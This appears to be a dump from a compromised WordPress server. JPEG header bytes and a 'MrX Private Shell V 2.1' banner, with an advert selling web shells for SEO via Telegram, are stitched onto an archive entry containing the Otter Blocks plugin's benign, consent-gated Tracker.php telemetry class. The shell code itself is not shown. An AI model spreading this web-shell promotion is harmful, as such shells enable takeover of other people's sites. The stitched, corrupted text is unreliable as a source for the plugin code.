����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
home/eliteafr/datapro/wp-content/plugins/otter-blocks/inc/Tracker.php 0000666 00000002565 15220224237 0022000 0 ustar 00 <?php
/**
* Class for telemetry.
*
* @package ThemeIsle
*/
namespace ThemeIsle\GutenbergBlocks;
/**
* Class Tracker
*/
class Tracker {
/**
* Tracking URL.
*
* @var string
*/
public static $track_url = 'https://api.themeisle.com/tracking/events';
/**
* Send data to the server if the user has opted in.
*
* @param array<array> $events Data to track.
* @param array $options Options.
* @return void
*/
public static function track( $events, $options = array() ) {
if ( ! self::has_consent() && ( ! isset( $options['hasConsent'] ) || ! $options['hasConsent'] ) ) {
return;
}
try {
$payload = array();
$license = apply_filters( 'product_otter_license_key', 'free' );
if ( 'free' !== $license ) {
$license = wp_hash( $license );
}
foreach ( $events as $event ) {
$payload[] = array(
'slug' => 'otter',
'site' => get_site_url(),
'license' => $license,
'data' => $event,
);
}
$args = array(
'headers' => array(
'Content-Type' => 'application/json',
),
'body' => wp_json_encode( $payload ),
);
wp_remote_post( self::$track_url, $args );
} finally {
return;
}
}
/**
* Check if the user has consented to tracking.
*
* @return bool
*/
public static function has_consent() {
return (bool) get_option( 'otter_blocks_logger_flag', false );
}
}